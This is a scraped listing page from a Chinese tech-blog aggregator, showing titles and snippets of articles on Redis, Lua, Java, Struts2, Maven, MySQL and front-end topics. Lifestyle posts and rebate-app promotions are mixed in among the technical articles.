href="/search/redis/1.htm">redis</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93%E6%9E%B6%E6%9E%84/1.htm">数据库架构</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a> <div>《博主主页》:CSDN主页__奈斯DBIFClub社区主页__奈斯、《擅长领域》:擅长阿里云AnalyticDBforMySQL(分布式数据仓库)、Oracle、MySQL、Linux、prometheus监控;并对SQLserver、NoSQL(Redis)有了解如果觉得文章对你有所帮助,欢迎点赞收藏加关注作为DBA或运维在日常与Redis打交道时,往往更关注部署安装、Key清理、内存回收、备份</div> </li> <li><a href="/article/1947420469917446144.htm" title="Lua _G表 和 _ENV表" target="_blank">Lua _G表 和 _ENV表</a> <span class="text-muted"></span> <div>定义在所有函数外部的变量我们可以称之为全局变量(GlobalVariable),它的作用域默认是整个程序。但Lua作为一种嵌入式语言,代码段(chunk)都是由宿主应用调用的,它自身都不知道会被嵌入到哪个应用程序中。为了解决这个问题,它并没有使用全局变量,而是通过table对全局变量进行模拟。我们可以认为Lua语言把所有的全局变量保存在一个称为全局环境(GlobalEnvironment)的普通表</div> </li> <li><a href="/article/1947418568798826496.htm" title="#静暖人生#20211028" target="_blank">#静暖人生#20211028</a> <span class="text-muted">侠姐27687</span> <div>早上好!静暖人生:每日一句正能量[玫瑰][玫瑰][玫瑰](2021年10月28日农历九月二十三星期四)人生最难得“心安”二字所谓“心安”,就是心里没有后悔的事、没有亏心的事、没有想不开的事,不为名所累,不为利所役清清白白做人,干干净净做事。如果患得患失,心浮气躁人生就会疲惫不堪、了无生气。唯有保持一颗宁静的心活得纯粹、活得自然,才能求得一个心安。美好的一天,从静暖人生开始![微笑][微笑][微笑]</div> </li> <li><a href="/article/1947418566215135232.htm" title="Lightroom Classic 教程,如何在 Lightroom 中增强照片的孤立区域?" target="_blank">Lightroom Classic 教程,如何在 Lightroom 中增强照片的孤立区域?</a> <span class="text-muted">Mac123123</span> <div>欢迎观看LightroomClassic中文版教程,小编带大家学习LightroomClassic的基本工具和使用技巧,了解如何在Lightroom中增强照片的孤立区域,对照片的一部分进行处理以完善它。打开LightroomClassic,在「图库」模块中选择照片。除了可以对整张照片进行更改外,还可以使用Lightroom的「局部调整」工具轻松增强图像中的选定区域。选择「修改照片」模块,降低「曝光</div> </li> <li><a href="/article/1947416812836679680.htm" title="ABP VNext + Playwright E2E:前后端一体化自动化测试" target="_blank">ABP VNext + Playwright E2E:前后端一体化自动化测试</a> <span class="text-muted">Kookoos</span> <a class="tag" taget="_blank" href="/search/Abp/1.htm">Abp</a><a class="tag" taget="_blank" href="/search/vNext/1.htm">vNext</a><a class="tag" taget="_blank" href="/search/.net/1.htm">.net</a><a class="tag" taget="_blank" href="/search/ABP/1.htm">ABP</a><a class="tag" taget="_blank" href="/search/vNext/1.htm">vNext</a><a class="tag" taget="_blank" href="/search/%E8%87%AA%E5%8A%A8%E5%8C%96/1.htm">自动化</a><a class="tag" taget="_blank" href="/search/Playwright/1.htm">Playwright</a><a class="tag" taget="_blank" href="/search/E2E/1.htm">E2E</a> <div>ABPVNext+PlaywrightE2E:前后端一体化自动化测试目录ABPVNext+PlaywrightE2E:前后端一体化自动化测试一、引言✨TL;DR背景与动机二、环境与依赖三、项目结构示例四、安装与初始化Playwright五、测试基类与数据隔离1.自定义TestWebApplicationFactory2.事务隔离六、测试流程图七、登录流程测试八、CRUD操作与API拦截✂️九、并行</div> </li> <li><a href="/article/1947412591315841024.htm" title="返利的软件是什么?2024年返利APP排行榜前九名" target="_blank">返利的软件是什么?2024年返利APP排行榜前九名</a> <span class="text-muted">氧券导师果果</span> <div>2024年返利APP排行榜前九名,帮你省钱购物!随着互联网的快速发展,网购已经成为了我们日常生活中不可或缺的一部分。而返利APP更是为广大消费者带来了实实在在的优惠,让我们在享受购物乐趣的同时,还能省钱返利。本文将为您介绍2024年返利APP排行榜前九名,让您轻松找到最适合自己的省钱利器。十大排行榜最高返利软件APP——【氧券APP】一、氧券氧券的口号是“返利就用氧券”,它强调没有上级赚差价,直接</div> </li> <li><a href="/article/1947411947729252352.htm" title="唯品会哪个返利公众号最高" target="_blank">唯品会哪个返利公众号最高</a> <span class="text-muted">测评君高省</span> <div>唯品会返利公众号最高是怎么回事呢?唯品会相信大家都很熟悉,但是唯品会返利公众号最高是怎么回事呢,下面就让小编带大家一起了解吧。唯品会返利公众号最高,其实就是用高省app,邀请码000009,大家可能会很惊讶唯品会怎么会返利公众号最高呢?但事实就是这样,小编也感到非常惊讶。高省app这就是关于唯品会返利app最高的事情了,大家有什么想法呢,欢迎在评论区告诉小编一起讨论哦!给大家推荐目前在做项目“高省</div> </li> <li><a href="/article/1947410803539898368.htm" title="精选推荐:返利APP排行榜前十,优惠力度大比拼" target="_blank">精选推荐:返利APP排行榜前十,优惠力度大比拼</a> <span class="text-muted">优惠券高省</span> <div>省钱达人必备!返利APP排行榜前十深度推荐在这个物价飞涨的时代里如何成为一名真正的省钱达人?答案或许就藏在返利APP排行榜前十之中。这些应用不仅汇聚了海量的优惠信息和返利政策更通过智能推荐和个性化服务为用户打造了一个专属的省钱购物平台。今天我们就来为大家深度推荐这些优秀的返利APP带你一起探索省钱购物的奥秘让你在享受购物乐趣的同时也能轻松实现省钱目标。大家好,我是高省的波西导师。在开始本文的交流之</div> </li> <li><a href="/article/1947407744654962688.htm" title="壬寅二月,从此不同(九)" target="_blank">壬寅二月,从此不同(九)</a> <span class="text-muted">超潜翔Sutron叔超</span> <div>2022年2月9日,星期三,壬寅虎年初九,杭州湾,阴转小雨,环境温度4~7摄氏度,微风,开工的第三天,节奏尚缓。可能是很多人还没有正式到岗,如今状态,大体工作的主动都掌握在自己的手中,相对来说,比较自由。尽管按节点倒推,属于最忙碌的时刻,且准备工作很多很多,但实际大家的状态还是停留在放羊状态较多。开工第一周的现状,其实也无所谓了,梳理好项目的工作量,把所有要干的事和问题摆在明面上来,逐渐去打卡,也</div> </li> <li><a href="/article/1947406228745416704.htm" title="大学生NISP 转 CISP 的坑,你注意到了吗?" target="_blank">大学生NISP 转 CISP 的坑,你注意到了吗?</a> <span class="text-muted"></span> <div>在网络安全领域,NISP与CISP证书的衔接路径,常被视为一条职业进阶的“捷径”——尤其是NISP二级可转CISP的政策,让不少大学生和行业新人满怀期待。但这条看似顺畅的道路上,实则布满了容易被忽视的“暗礁”。从硬性的资质审核门槛,到证书类型的匹配限制;从严格的时间窗口要求,到潜藏的各类隐性成本,再到易被遗漏的前置条件,每一个环节都可能成为阻碍转证的“绊脚石”。许多人因对这些细节缺乏了解,往往在付</div> </li> <li><a href="/article/1947405460399255552.htm" title="解锁地摊创业秘籍:爆款商品,轻松赚钱不是梦" target="_blank">解锁地摊创业秘籍:爆款商品,轻松赚钱不是梦</a> <span class="text-muted">氧惠超好用</span> <div>地摊经济这两年很是红火,很多闲置在家或是朝九晚五上班的朋友都依靠在闲暇时间去摆地摊有效增加了额外收入,在摆地摊的过程中,选品无疑是影响收益的最为直接的重要因素。1:烤红薯一到秋冬,热腾美味的烤红薯就开始火起来了,几乎成为了人手一个的“热门单品”。虽然生红薯很便宜,但家里烤制较为困难,因此售价挺高的,利润很丰厚。2:手串饰品现在很流行佩戴各种手串手链,这种小饰品不仅成本低廉,而且售价还较为客观,尤其</div> </li> <li><a href="/article/1947403934679232512.htm" title="《雪中悍刀行》:徐凤年第一次游历江湖,真的只有老黄随行吗?" target="_blank">《雪中悍刀行》:徐凤年第一次游历江湖,真的只有老黄随行吗?</a> <span class="text-muted">昏鸦的啰哩啰嗦</span> <div>徐凤年第一次游历江湖,三年六千里,最强的跟班就是剑九黄黄阵图。但是,这是明面上的,如果你认真看书,就知道徐凤年第一次游历江湖那是暗潮汹涌。北凉王徐骁的世子徐凤年游历江湖,安全肯定是第一要务,一旦知道徐凤年游历江湖,离阳王朝、各地藩王、北莽谍子、春秋遗民、江湖死士等等,都会趁此机会要他命。要知道,徐凤年第二次游历江湖,身边多了这么多高手,还是险象环生、常处死地而后生。徐凤年第一次游历江湖,为何明面上</div> </li> <li><a href="/article/1947402950716485632.htm" title="雅思G类作文" target="_blank">雅思G类作文</a> <span class="text-muted"></span> <div>目录(一)建议信(二)申请信(三)投诉信(四)问询信(五)推荐信(六)请求信(七)感谢信(八)邀请信(九)谢绝信(十)日常信雅思A类作文主要针对申请留学的考生,G类作文主要面向计划移民或参加工作培训的考生。G类考生只占5%,找到的资料也不多,文末会分享一篇资料,其中有更多题目可供练习。(一)建议信题目:Ahotelyoustayedinrecentlyaskedgueststowritetothe</div> </li> <li><a href="/article/1947400370099646464.htm" title="2月23日,十二星座,星座运势" target="_blank">2月23日,十二星座,星座运势</a> <span class="text-muted">葫芦姐姐聊星座</span> <div>白羊座:试图让事情能处在自己的掌控之中,但是不要去强求什么,宁可顺其自然地去引导,也别强行干涉,免得引起本可避免的麻烦事;感情上平复内心的焦躁感,同理心有待增强,你需要更好地谅解彼此的难处,以利于化解积怨。金牛座:活跃度提升,你能成为团队中的引领者,在不少事情上都做出恰当的表率,既不会显得自己太来事,也能取得一定的好成果;感情上展示自身温和大度的样子,增进彼此的了解度,不要总是被激情和新鲜感蒙蔽视</div> </li> <li><a href="/article/1947399474896760832.htm" title="阅读记录(54)|拆书稿拟定主题方式" target="_blank">阅读记录(54)|拆书稿拟定主题方式</a> <span class="text-muted">初十一</span> <div>阅读目的/碎片出处碎片出处:阅读分享三十九:《拆书稿的经典结构,如何拟定一个主题点?》-笔记内链:阅读目的:了解拆书稿的提炼主题的方式,在读书时应用提炼知识点,总结成个人思想读后收获/感受要点一:干货类书籍拆书结构:话题引入+书的名字+作者观点+提出问题+作者解决办法+总结收尾开头用相关热点或者是生活痛点进行引入,读书化做已用,要先思考哪些点能解决自己的哪方面的问题自然而然地引出书的名字,表明这本</div> </li> <li><a href="/article/1947397055408304128.htm" title="老师晨说" target="_blank">老师晨说</a> <span class="text-muted">平安413</span> <div>主题【驯化我们的大脑】️驯化脑神经回路练习临在当下,觉察大脑神经元变化-过去:思前想后犹犹豫豫,内心戏不断加码,担忧未来放不下过去-现在:什么都不想,没有任何担忧,活在当下感知当下。现在大脑的运作模式已经完全不对什么事产生应激反应。️重视刻意训练坚定信念、信仰——训练可以带你进入幸福和可能性。训练出对当下的全心全意,全然投入在当下事情。训练对幸福感知回路,当下全心全意来到美好当中。最终把自己训练成</div> </li> <li><a href="/article/1947396927091961856.htm" title="播音丨纪录片配音到底要注意啥?" target="_blank">播音丨纪录片配音到底要注意啥?</a> <span class="text-muted">播音配音学习攻略</span> <div>纪录片像是一个记录真实生活,或真人真事的艺术展现形式,在众人的眼中一直是以真实为主。而纪录片的配音也会根据不同的素材类型稍作更改,但整体来说,纪录片的配音大多数是以辅助的形式将人、事、物,清楚的表达在大家的视野中~不过纪录片配音时,到底应该注意什么呢?想必还是很多人不太了解,今天就来分享两点比较基础,但是又不得不注意的吧~把握好音量及用声电视纪录片的用声,大多音量会比广播配音要小,这种解说式的配音</div> </li> <li><a href="/article/1947394642525876224.htm" title="《喋血双雄》2024美版电影[1080p中文字幕]免费在线观看未删减完整版夸克网盘高清迅雷网盘百度云" target="_blank">《喋血双雄》2024美版电影[1080p中文字幕]免费在线观看未删减完整版夸克网盘高清迅雷网盘百度云</a> <span class="text-muted">全网优惠分享君</span> <div>《喋血双雄》作为吴宇森导演的经典之作,其1989年的港版曾一度成为香港动作电影的标杆,其独特的暴力美学风格和深刻的兄弟情谊让无数影迷为之倾倒。然而,时隔三十五年,吴宇森亲自操刀翻拍的2024美版《喋血双雄》却引发了诸多争议与讨论。本文将从剧情、角色、风格以及观众反响等方面,对这部新作进行全面点评。提示:文章排版原因,喋血双雄资源链接地址放在文章结尾,往下翻就行提示:文章排版原因,喋血双雄资源链接地</div> </li> <li><a href="/article/1947393371936976896.htm" title="yarn : 无法加载文件 D:\nvm\nodejs\yarn.ps1,因为在此系统上禁止运行脚本。有关详细信息,请参阅 https:/go.microsoft.com/fwlink/?" target="_blank">yarn : 无法加载文件 D:\nvm\nodejs\yarn.ps1,因为在此系统上禁止运行脚本。有关详细信息,请参阅 https:/go.microsoft.com/fwlink/?</a> <span class="text-muted">尔嵘</span> <a class="tag" taget="_blank" href="/search/Vue3.0/1.htm">Vue3.0</a><a class="tag" taget="_blank" href="/search/vue.js/1.htm">vue.js</a> <div>这个错误是因为PowerShell的执行策略(ExecutionPolicy)阻止了yarn脚本的运行。以下是几种解决方法:方法1:临时更改执行策略(推荐先尝试)以管理员身份打开PowerShell运行以下命令:powershellSet-ExecutionPolicy-ScopeProcess-ExecutionPolicyBypass然后再次尝试运行yarn命令方法2:永久更改执行策略(需要管</div> </li> <li><a href="/article/1947392867240570880.htm" title="并发编程原理与实战(九)限流利器信号量的最佳实践分析" target="_blank">并发编程原理与实战(九)限流利器信号量的最佳实践分析</a> <span class="text-muted">帧栈</span> <a class="tag" taget="_blank" href="/search/Java%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B/1.htm">Java并发编程</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a> <div>系统掌握并发编程系列(一)精准理解线程的创建和停止系统掌握并发编程系列(二)详解Thread类的主要属性和方法系统掌握并发编程系列(三)一步步剖析线程返回值系统掌握并发编程系列(四)详细分析传统并发协同方式(synchronized与wait()notify())系统掌握并发编程系列(五)讲透传统并发协同方式伪唤醒与加锁失效问题系统掌握并发编程系列(六)详细讲解并发协同利器CountDownLat</div> </li> <li><a href="/article/21.htm" title="矩阵求逆(JAVA)利用伴随矩阵" target="_blank">矩阵求逆(JAVA)利用伴随矩阵</a> <span class="text-muted">qiuwanchi</span> <a class="tag" taget="_blank" href="/search/%E5%88%A9%E7%94%A8%E4%BC%B4%E9%9A%8F%E7%9F%A9%E9%98%B5%E6%B1%82%E9%80%86%E7%9F%A9%E9%98%B5/1.htm">利用伴随矩阵求逆矩阵</a> <div>package gaodai.matrix; import gaodai.determinant.DeterminantCalculation; import java.util.ArrayList; import java.util.List; import java.util.Scanner; /** * 矩阵求逆(利用伴随矩阵) * @author 邱万迟 </div> </li> <li><a href="/article/148.htm" title="单例(Singleton)模式" target="_blank">单例(Singleton)模式</a> <span class="text-muted">aoyouzi</span> <a class="tag" taget="_blank" href="/search/%E5%8D%95%E4%BE%8B/1.htm">单例</a><a class="tag" taget="_blank" href="/search/%E6%A8%A1%E5%BC%8F/1.htm">模式</a><a class="tag" taget="_blank" href="/search/Singleton/1.htm">Singleton</a> <div>3.1           概述 如果要保证系统里一个类最多只能存在一个实例时,我们就需要单例模式。这种情况在我们应用中经常碰到,例如缓存池,数据库连接池,线程池,一些应用服务实例等。在多线程环境中,为了保证实例的唯一性其实并不简单,这章将和读者一起探讨如何实现单例模式。 3.2</div> </li> <li><a href="/article/275.htm" title="[开源与自主研发]就算可以轻易获得外部技术支持,自己也必须研发" target="_blank">[开源与自主研发]就算可以轻易获得外部技术支持,自己也必须研发</a> <span class="text-muted">comsci</span> <a class="tag" taget="_blank" href="/search/%E5%BC%80%E6%BA%90/1.htm">开源</a> <div>       现在国内有大量的信息技术产品,都是通过盗版,免费下载,开源,附送等方式从国外的开发者那里获得的。。。。。。        虽然这种情况带来了国内信息产业的短暂繁荣,也促进了电子商务和互联网产业的快速发展,但是实际上,我们应该清醒的看到,这些产业的核心力量是被国外的</div> </li> <li><a href="/article/402.htm" title="页面有两个frame,怎样点击一个的链接改变另一个的内容" target="_blank">页面有两个frame,怎样点击一个的链接改变另一个的内容</a> <span class="text-muted">Array_06</span> <a class="tag" taget="_blank" href="/search/UI/1.htm">UI</a><a class="tag" taget="_blank" href="/search/XHTML/1.htm">XHTML</a> <div><a src="地址"  targets="这里写你要操作的Frame的名字" />搜索 然后你点击连接以后你的新页面就会显示在你设置的Frame名字的框那里 targerts="",就是你要填写目标的显示页面位置 ===================== 例如: <frame src=&</div> </li> <li><a href="/article/529.htm" title="Struts2实现单个/多个文件上传和下载" target="_blank">Struts2实现单个/多个文件上传和下载</a> <span class="text-muted">oloz</span> <a class="tag" taget="_blank" href="/search/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0/1.htm">文件上传</a><a class="tag" taget="_blank" href="/search/struts/1.htm">struts</a> <div>struts2单文件上传:     步骤01:jsp页面 <!--在进行文件上传时,表单提交方式一定要是post的方式,因为文件上传时二进制文件可能会很大,还有就是enctype属性,这个属性一定要写成multipart/form-data,不然就会以二进制文本上传到服务器端-->   <form action="fileUplo</div> </li> <li><a href="/article/656.htm" title="推荐10个在线logo设计网站" target="_blank">推荐10个在线logo设计网站</a> <span class="text-muted">362217990</span> <a class="tag" taget="_blank" href="/search/logo/1.htm">logo</a> <div>在线设计Logo网站。 1、http://flickr.nosv.org(这个太简单) 2、http://www.logomaker.com/?source=1.5770.1 3、http://www.simwebsol.com/ImageTool 4、http://www.logogenerator.com/logo.php?nal=1&tpl_catlist[]=2 5、ht</div> </li> <li><a href="/article/783.htm" title="jsp上传文件" target="_blank">jsp上传文件</a> <span class="text-muted">香水浓</span> <a class="tag" taget="_blank" href="/search/jsp/1.htm">jsp</a><a class="tag" taget="_blank" href="/search/fileupload/1.htm">fileupload</a> <div>1. jsp上传 Notice: 1. form表单 method 属性必须设置为 POST 方法 ,不能使用 GET 方法 2. form表单 enctype 属性需要设置为 multipart/form-data 3. form表单 action 属性需要设置为提交到后台处理文件上传的jsp文件地址或者servlet地址。例如 uploadFile.jsp 程序文件用来处理上传的文</div> </li> <li><a href="/article/910.htm" title="我的架构经验系列文章 - 前端架构" target="_blank">我的架构经验系列文章 - 前端架构</a> <span class="text-muted">agevs</span> <a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a><a class="tag" taget="_blank" href="/search/Web/1.htm">Web</a><a class="tag" taget="_blank" href="/search/%E6%A1%86%E6%9E%B6/1.htm">框架</a><a class="tag" taget="_blank" href="/search/UI/1.htm">UI</a><a class="tag" taget="_blank" href="/search/jQuer/1.htm">jQuer</a> <div>框架层面:近几年前端发展很快,前端之所以叫前端因为前端是已经可以独立成为一种职业了,js也不再是十年前的玩具了,以前富客户端RIA的应用可能会用flash/flex或是silverlight,现在可以使用js来完成大部分的功能,因此js作为一门前端的支撑语言也不仅仅是进行的简单的编码,越来越多框架性的东西出现了。越来越多的开发模式转变为后端只是吐json的数据源,而前端做所有UI的事情。MVCMV</div> </li> <li><a href="/article/1037.htm" title="android ksoap2 中把XML(DataSet) 当做参数传递" target="_blank">android ksoap2 中把XML(DataSet) 当做参数传递</a> <span class="text-muted">aijuans</span> <a class="tag" taget="_blank" href="/search/android/1.htm">android</a> <div>我的android app中需要发送webservice ,于是我使用了 ksop2 进行发送,在测试过程中不是很顺利,不能正常工作.我的web service 请求格式如下     [html]  view plain copy   <Envelope xmlns="http://schemas.</div> </li> <li><a href="/article/1164.htm" title="使用Spring进行统一日志管理 + 统一异常管理" target="_blank">使用Spring进行统一日志管理 + 统一异常管理</a> <span class="text-muted">baalwolf</span> <a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a> <div>统一日志和异常管理配置好后,SSH项目中,代码以往散落的log.info() 和 try..catch..finally 再也不见踪影! 统一日志异常实现类: [java]  view plain copy   package com.pilelot.web.util;      impor</div> </li> <li><a href="/article/1291.htm" title="Android SDK 国内镜像" target="_blank">Android SDK 国内镜像</a> <span class="text-muted">BigBird2012</span> <a class="tag" taget="_blank" href="/search/android+sdk/1.htm">android sdk</a> <div>一、镜像地址: 1、东软信息学院的 Android SDK 镜像,比配置代理下载快多了。 配置地址, http://mirrors.neusoft.edu.cn/configurations.we#android 2、北京化工大学的: IPV4:ubuntu.buct.edu.cn  IPV4:ubuntu.buct.cn IPV6:ubuntu.buct6.edu.cn </div> </li> <li><a href="/article/1418.htm" title="HTML无害化和Sanitize模块" target="_blank">HTML无害化和Sanitize模块</a> <span class="text-muted">bijian1013</span> <a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a><a class="tag" taget="_blank" href="/search/AngularJS/1.htm">AngularJS</a><a class="tag" taget="_blank" href="/search/Linky/1.htm">Linky</a><a class="tag" taget="_blank" href="/search/Sanitize/1.htm">Sanitize</a> <div>一.ng-bind-html、ng-bind-html-unsafe         AngularJS非常注重安全方面的问题,它会尽一切可能把大多数攻击手段最小化。其中一个攻击手段是向你的web页面里注入不安全的HTML,然后利用它触发跨站攻击或者注入攻击。         考虑这样一个例子,假设我们有一个变量存</div> </li> <li><a href="/article/1545.htm" title="[Maven学习笔记二]Maven命令" target="_blank">[Maven学习笔记二]Maven命令</a> <span class="text-muted">bit1129</span> <a class="tag" taget="_blank" href="/search/maven/1.htm">maven</a> <div>mvn compile compile编译命令将src/main/java和src/main/resources中的代码和配置文件编译到target/classes中,不会对src/test/java中的测试类进行编译 MVN编译使用 maven-resources-plugin:2.6:resources maven-compiler-plugin:2.5.1:compile &nbs</div> </li> <li><a href="/article/1672.htm" title="【Java命令二】jhat" target="_blank">【Java命令二】jhat</a> <span class="text-muted">bit1129</span> <a class="tag" taget="_blank" href="/search/Java%E5%91%BD%E4%BB%A4/1.htm">Java命令</a> <div>jhat用于分析使用jmap dump的文件,,可以将堆中的对象以html的形式显示出来,包括对象的数量,大小等等,并支持对象查询语言。 jhat默认开启监听端口7000的HTTP服务,jhat是Java Heap Analysis Tool的缩写 1. 用法: [hadoop@hadoop bin]$ jhat -help Usage: jhat [-stack <bool&g</div> </li> <li><a href="/article/1799.htm" title="JBoss 5.1.0 GA:Error installing to Instantiated: name=AttachmentStore state=Desc" target="_blank">JBoss 5.1.0 GA:Error installing to Instantiated: name=AttachmentStore state=Desc</a> <span class="text-muted">ronin47</span> <div>进到类似目录 server/default/conf/bootstrap,打开文件 profile.xml找到: Xml代码<bean    name="AttachmentStore"  class="org.jboss.system.server.profileservice.repository.AbstractAtta</div> </li> <li><a href="/article/1926.htm" title="写给初学者的6条网页设计安全配色指南" target="_blank">写给初学者的6条网页设计安全配色指南</a> <span class="text-muted">brotherlamp</span> <a class="tag" taget="_blank" href="/search/UI/1.htm">UI</a><a class="tag" taget="_blank" href="/search/ui%E8%87%AA%E5%AD%A6/1.htm">ui自学</a><a class="tag" taget="_blank" href="/search/ui%E8%A7%86%E9%A2%91/1.htm">ui视频</a><a class="tag" taget="_blank" href="/search/ui%E6%95%99%E7%A8%8B/1.htm">ui教程</a><a class="tag" taget="_blank" href="/search/ui%E8%B5%84%E6%96%99/1.htm">ui资料</a> <div>网页设计中最基本的原则之一是,不管你花多长时间创造一个华丽的设计,其最终的角色都是这场秀中真正的明星——内容的衬托     我仍然清楚地记得我最早的一次美术课,那时我还是一个小小的、对凡事都充满渴望的孩子,我摆放出一大堆漂亮的彩色颜料。我仍然记得当我第一次看到原色与另一种颜色混合变成第二种颜色时的那种兴奋,并且我想,既然两种颜色能创造出一种全新的美丽色彩,那所有颜色</div> </li> <li><a href="/article/2053.htm" title="有一个数组,每次从中间随机取一个,然后放回去,当所有的元素都被取过,返回总共的取的次数。写一个函数实现。复杂度是什么。" target="_blank">有一个数组,每次从中间随机取一个,然后放回去,当所有的元素都被取过,返回总共的取的次数。写一个函数实现。复杂度是什么。</a> <span class="text-muted">bylijinnan</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E7%AE%97%E6%B3%95/1.htm">算法</a><a class="tag" taget="_blank" href="/search/%E9%9D%A2%E8%AF%95/1.htm">面试</a> <div> import java.util.Random; import java.util.Set; import java.util.TreeSet; /** * http://weibo.com/1915548291/z7HtOF4sx * #面试题#有一个数组,每次从中间随机取一个,然后放回去,当所有的元素都被取过,返回总共的取的次数。 * 写一个函数实现。复杂度是什么</div> </li> <li><a href="/article/2180.htm" title="struts2获得request、session、application方式" target="_blank">struts2获得request、session、application方式</a> <span class="text-muted">chiangfai</span> <a class="tag" taget="_blank" href="/search/application/1.htm">application</a> <div>1、与Servlet API解耦的访问方式。 a.Struts2对HttpServletRequest、HttpSession、ServletContext进行了封装,构造了三个Map对象来替代这三种对象要获取这三个Map对象,使用ActionContext类。 ----->   package pro.action; import java.util.Map; imp</div> </li> <li><a href="/article/2307.htm" title="改变python的默认语言设置" target="_blank">改变python的默认语言设置</a> <span class="text-muted">chenchao051</span> <a class="tag" taget="_blank" href="/search/python/1.htm">python</a> <div> import sys sys.getdefaultencoding()  可以测试出默认语言,要改变的话,需要在python lib的site-packages文件夹下新建: sitecustomize.py, 这个文件比较特殊,会在python启动时来加载,所以就可以在里面写上: import sys sys.setdefaultencoding('utf-8') &n</div> </li> <li><a href="/article/2434.htm" title="mysql导入数据load data infile用法" target="_blank">mysql导入数据load data infile用法</a> <span class="text-muted">daizj</span> <a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/%E5%AF%BC%E5%85%A5%E6%95%B0%E6%8D%AE/1.htm">导入数据</a> <div>我们常常导入数据!mysql有一个高效导入方法,那就是load data infile 下面来看案例说明 基本语法: load data  [low_priority] [local] infile 'file_name txt' [replace | ignore] into table tbl_name [fields [terminated by't'] [OPTI</div> </li> <li><a href="/article/2561.htm" title="phpexcel导入excel表到数据库简单入门示例" target="_blank">phpexcel导入excel表到数据库简单入门示例</a> <span class="text-muted">dcj3sjt126com</span> <a class="tag" taget="_blank" href="/search/PHP/1.htm">PHP</a><a class="tag" taget="_blank" href="/search/Excel/1.htm">Excel</a> <div> 跟导出相对应的,同一个数据表,也是将phpexcel类放在class目录下,将Excel表格中的内容读取出来放到数据库中 <?php error_reporting(E_ALL); set_time_limit(0); ?> <html> <head> <meta http-equiv="Content-Type" </div> </li> <li><a href="/article/2688.htm" title="22岁到72岁的男人对女人的要求" target="_blank">22岁到72岁的男人对女人的要求</a> <span class="text-muted">dcj3sjt126com</span> <div>22岁男人对女人的要求是:一,美丽,二,性感,三,有份具品味的职业,四,极有耐性,善解人意,五,该聪明的时候聪明,六,作小鸟依人状时尽量自然,七,怎样穿都好看,八,懂得适当地撒娇,九,虽作惊喜反应,但看起来自然,十,上了床就是个无条件荡妇。 32岁的男人对女人的要求,略作修定,是:一,入得厨房,进得睡房,二,不必服侍皇太后,三,不介意浪漫蜡烛配盒饭,四,听多过说,五,不再傻笑,六,懂得独</div> </li> <li><a href="/article/2815.htm" title="Spring和HIbernate对DDM设计的支持" target="_blank">Spring和HIbernate对DDM设计的支持</a> <span class="text-muted">e200702084</span> <a class="tag" taget="_blank" href="/search/DAO/1.htm">DAO</a><a class="tag" taget="_blank" href="/search/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/1.htm">设计模式</a><a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/Hibernate/1.htm">Hibernate</a><a class="tag" taget="_blank" href="/search/%E9%A2%86%E5%9F%9F%E6%A8%A1%E5%9E%8B/1.htm">领域模型</a> <div>A:数据访问对象     DAO和资源库在领域驱动设计中都很重要。DAO是关系型数据库和应用之间的契约。它封装了Web应用中的数据库CRUD操作细节。另一方面,资源库是一个独立的抽象,它与DAO进行交互,并提供到领域模型的“业务接口”。    资源库使用领域的通用语言,处理所有必要的DAO,并使用领域理解的语言提供对领域模型的数据访问服务。</div> </li> <li><a href="/article/2942.htm" title="NoSql 数据库的特性比较" target="_blank">NoSql 数据库的特性比较</a> <span class="text-muted">geeksun</span> <a class="tag" taget="_blank" href="/search/NoSQL/1.htm">NoSQL</a> <div>Redis 是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。目前由VMware主持开发工作。   1. 数据模型 作为Key-value型数据库,Redis也提供了键(Key)和值(Value)的映射关系。除了常规的数值或字符串,Redis的键值还可以是以下形式之一: Lists (列表) Sets</div> </li> <li><a href="/article/3069.htm" title="使用 Nginx Upload Module 实现上传文件功能" target="_blank">使用 Nginx Upload Module 实现上传文件功能</a> <span class="text-muted">hongtoushizi</span> <a class="tag" taget="_blank" href="/search/nginx/1.htm">nginx</a> <div>转载自: http://www.tuicool.com/wx/aUrAzm   普通网站在实现文件上传功能的时候,一般是使用Python,Java等后端程序实现,比较麻烦。Nginx有一个Upload模块,可以非常简单的实现文件上传功能。此模块的原理是先把用户上传的文件保存到临时文件,然后在交由后台页面处理,并且把文件的原名,上传后的名称,文件类型,文件大小set到页面。下</div> </li> <li><a href="/article/3196.htm" title="spring-boot-web-ui及thymeleaf基本使用" target="_blank">spring-boot-web-ui及thymeleaf基本使用</a> <span class="text-muted">jishiweili</span> <a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/thymeleaf/1.htm">thymeleaf</a> <div>视图控制层代码demo如下:   @Controller @RequestMapping("/") public class MessageController { private final MessageRepository messageRepository; @Autowired public MessageController(Mes</div> </li> <li><a href="/article/3323.htm" title="数据源架构模式之活动记录" target="_blank">数据源架构模式之活动记录</a> <span class="text-muted">home198979</span> <a class="tag" taget="_blank" href="/search/PHP/1.htm">PHP</a><a class="tag" taget="_blank" href="/search/%E6%9E%B6%E6%9E%84/1.htm">架构</a><a class="tag" taget="_blank" href="/search/%E6%B4%BB%E5%8A%A8%E8%AE%B0%E5%BD%95/1.htm">活动记录</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E6%98%A0%E5%B0%84/1.htm">数据映射</a> <div>hello!架构 一、概念 活动记录(Active Record):一个对象,它包装数据库表或视图中某一行,封装数据库访问,并在这些数据上增加了领域逻辑。 对象既有数据又有行为。活动记录使用直截了当的方法,把数据访问逻辑置于领域对象中。   二、实现简单活动记录 活动记录在php许多框架中都有应用,如cakephp。 <?php /** * 行数据入口类 *</div> </li> <li><a href="/article/3450.htm" title="Linux 